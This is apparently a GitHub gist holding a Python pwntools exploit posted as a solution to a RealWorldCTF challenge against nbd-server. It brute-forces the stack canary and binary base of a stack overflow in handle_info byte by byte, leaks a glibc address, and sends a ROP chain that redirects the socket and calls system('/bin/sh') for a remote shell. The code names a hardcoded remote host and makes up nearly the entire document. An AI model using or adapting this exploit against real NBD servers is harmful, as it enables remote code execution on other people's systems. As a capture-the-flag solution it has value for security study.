Skip to content

Instantly share code, notes, and snippets.

@dialluvioso
Created January 23, 2022 13:57
Show Gist options
  • Select an option

  • Save dialluvioso/096067177cdcb52e21ee578db2001a2f to your computer and use it in GitHub Desktop.

Select an option

Save dialluvioso/096067177cdcb52e21ee578db2001a2f to your computer and use it in GitHub Desktop.
Solution to Who Moved My Block from RealWorldCTF
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
# remote stack-based buffer overflow in `handle_info`
# since the architecture is a fork based model without execve()
# naive strategy is a linear probing using the response as an oracle
HOST = "47.242.113.232" #"localhost"
PORT = 49240 #10809
INIT_PASSWD = b"NBDMAGIC"
NBD_FLAG_FIXED_NEWSTYLE = 1<<0
NBD_FLAG_NO_ZEROES = 1<<1
opts_magic = 0x49484156454F5054
rep_magic = 0x3e889045565a9
NBD_OPT_GO = 7
NBD_REP_FLAG_ERROR = 1<<31
NBD_REP_ERR_UNSUP = 1|NBD_REP_FLAG_ERROR
NBD_REP_ERR_POLICY = 2|NBD_REP_FLAG_ERROR
context.log_level = "error"
def parse_response(io):
magic = u64(io.recv(8), endian="big")
opt = u32(io.recv(4), endian="big")
reply_type = u32(io.recv(4), endian="big")
datasize = u32(io.recv(4), endian="big")
data = io.recv(datasize)
def send_request(opt, datasize, namelen, name, io):
# first send the header
header = p64(opts_magic, endian="big") + \
p32(opt, endian="big") + p32(datasize, endian="big")
#input("## attach ##")
io.send(header)
io.send(p32(datasize, endian="big"))
io.send(p32(namelen, endian="big"))
parse_response(io)
io.send(name)
io.send(b"D" * (namelen-4))
#io.send(b"D" * namelen)
io.send(p16(0))
parse_response(io)
def get_canary():
canary = [0] * 8
for j in range(8):
for i in range(1<<8):
canary[j] = i
try:
io = remote(HOST, PORT)
# start negotiation, first receive the init passwd
buf = io.recv(8)
assert(buf == INIT_PASSWD)
log.info("received INIT_PASSWD")
# now parse the magic
magic = u64(io.recv(8), endian="big")
assert(magic == opts_magic)
log.success(f"received opts magic {magic:#x}")
# parse global flags
gflags = u16(io.recv(2), endian="big")
log.info(f"global flags are {gflags:#x}")
cflags = NBD_FLAG_FIXED_NEWSTYLE
if (gflags & NBD_FLAG_NO_ZEROES):
cflags |= NBD_FLAG_NO_ZEROES
# send client flags
io.send(p32(cflags, endian="big"))
length = 1032+4+1+j
payload = b"A"*1028
# copy previous values
for k in range(j):
payload += p8(canary[k])
# add current
payload += p8(canary[j])
payload += b"D" * (length-4-len(payload))
namelen = length
#payload += b"B" * 8
#payload += b"C" * ((datasize - 6) - len(payload))
send_request(NBD_OPT_GO, length, namelen, payload, io)
header = p64(opts_magic, endian="big") + \
p32(NBD_OPT_GO, endian="big") + p32(0, endian="big")
io.send(header)
io.send(p32(0, endian="big"))
io.send(p32(0, endian="big"))
parse_response(io)
io.close()
print(f"Ok! found canary[{j:d}] = {i:02x}")
canary[j] = i
break
except EOFError:
continue
return canary
canary = get_canary()
#canary = [0, 0x32, 0xd7, 0xfd, 0xd8, 0xe, 0x32, 0xcb]
def get_base():
base = [0] * 8
for j in range(8):
for i in range(1<<8):
base[j] = i
try:
io = remote(HOST, PORT)
buf = io.recv(8)
assert(buf == INIT_PASSWD)
log.info("received INIT_PASSWD")
magic = u64(io.recv(8), endian="big")
assert(magic == opts_magic)
log.success(f"received opts magic {magic:#x}")
gflags = u16(io.recv(2), endian="big")
log.info(f"global flags are {gflags:#x}")
cflags = NBD_FLAG_FIXED_NEWSTYLE
if (gflags & NBD_FLAG_NO_ZEROES):
cflags |= NBD_FLAG_NO_ZEROES
io.send(p32(cflags, endian="big"))
length = 1032+4+16+1+j
payload = b"A"*1028
# canary
for p in range(8):
payload += p8(canary[p])
payload += p64(0xdeadbeef)
# copy previous values
for k in range(j):
payload += p8(base[k])
# add current
payload += p8(base[j])
payload += b"D" * (length-4-len(payload))
namelen = length
send_request(NBD_OPT_GO, length, namelen, payload, io)
header = p64(opts_magic, endian="big") + \
p32(NBD_OPT_GO, endian="big") + p32(0, endian="big")
io.send(header)
io.send(p32(0, endian="big"))
io.send(p32(0, endian="big"))
parse_response(io)
io.close()
print(f"Ok! found base[{j:d}] = {i:02x}")
base[j] = i
break
except EOFError:
continue
return base
base = get_base()
def get_libc():
io = remote(HOST, PORT)
buf = io.recv(8)
assert(buf == INIT_PASSWD)
log.info("received INIT_PASSWD")
magic = u64(io.recv(8), endian="big")
assert(magic == opts_magic)
log.success(f"received opts magic {magic:#x}")
gflags = u16(io.recv(2), endian="big")
log.info(f"global flags are {gflags:#x}")
cflags = NBD_FLAG_FIXED_NEWSTYLE
if (gflags & NBD_FLAG_NO_ZEROES):
cflags |= NBD_FLAG_NO_ZEROES
io.send(p32(cflags, endian="big"))
length = 1032+4+64+8
payload = b"A"*1028
# canary
for p in range(8):
payload += p8(canary[p])
payload += p64(0xdeadbeef00)
payload += p64(0xdeadbeef01)
payload += p64(512)
payload += p64(base + 0x12DA8)
payload += p64(4)
payload += p64(0xdeadbeef05)
payload += p64(0xdeadbeef06)
payload += p64(base + 0xC202)
payload += b"D" * (length-4-len(payload))
namelen = length
send_request(NBD_OPT_GO, length, namelen, payload, io)
header = p64(opts_magic, endian="big") + \
p32(NBD_OPT_GO, endian="big") + p32(0, endian="big")
io.send(header)
io.send(p32(0, endian="big"))
io.send(p32(0, endian="big"))
#parse_response(io)
libc = u64(io.recv(8))
#libc = u64(io.recv(8))
io.close()
return libc
#get_canary()
#get_base()
#base = [0x74, 0xf2, 0x67, 0x9e, 0xfe, 0x55, 0, 0]
base = u64(b"".join([p8(i) for i in base])) - 0xf274
print(f"nbd-server mapped at {base:#x}")
libc = get_libc() - 0x110cc0
print(f"glibc mapped at {libc:#x}")
io = remote(HOST, PORT)
buf = io.recv(8)
assert(buf == INIT_PASSWD)
log.info("received INIT_PASSWD")
magic = u64(io.recv(8), endian="big")
assert(magic == opts_magic)
log.success(f"received opts magic {magic:#x}")
gflags = u16(io.recv(2), endian="big")
log.info(f"global flags are {gflags:#x}")
cflags = NBD_FLAG_FIXED_NEWSTYLE
if (gflags & NBD_FLAG_NO_ZEROES):
cflags |= NBD_FLAG_NO_ZEROES
io.send(p32(cflags, endian="big"))
dup2=libc+0x111a30
poprdi=base+0x4a58
poprsi=base+0x4798
binsh=libc+0x1b75aa
system=libc+0x55410
rop_chain = p64(poprdi) + p64(4) + p64(poprsi) + p64(0) + p64(dup2)
rop_chain += p64(poprdi) + p64(4) + p64(poprsi) + p64(1) + p64(dup2)
rop_chain += p64(poprdi) + p64(4) + p64(poprsi) + p64(2) + p64(dup2)
rop_chain += p64(poprdi) + p64(binsh) + p64(system)
length = 1032+4+64+len(rop_chain)
payload = b"A"*1028
# canary
for p in range(8):
payload += p8(canary[p])
payload += p64(0xdeadbeef00)
payload += p64(0xdeadbeef01)
payload += p64(512)
payload += p64(base + 0x12DA8)
payload += p64(4)
payload += p64(0xdeadbeef05)
payload += p64(0xdeadbeef06)
payload += rop_chain
payload += b"D" * (length-4-len(payload))
namelen = length
send_request(NBD_OPT_GO, length, namelen, payload, io)
header = p64(opts_magic, endian="big") + \
p32(NBD_OPT_GO, endian="big") + p32(0, endian="big")
io.send(header)
io.send(p32(0, endian="big"))
io.send(p32(0, endian="big"))
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment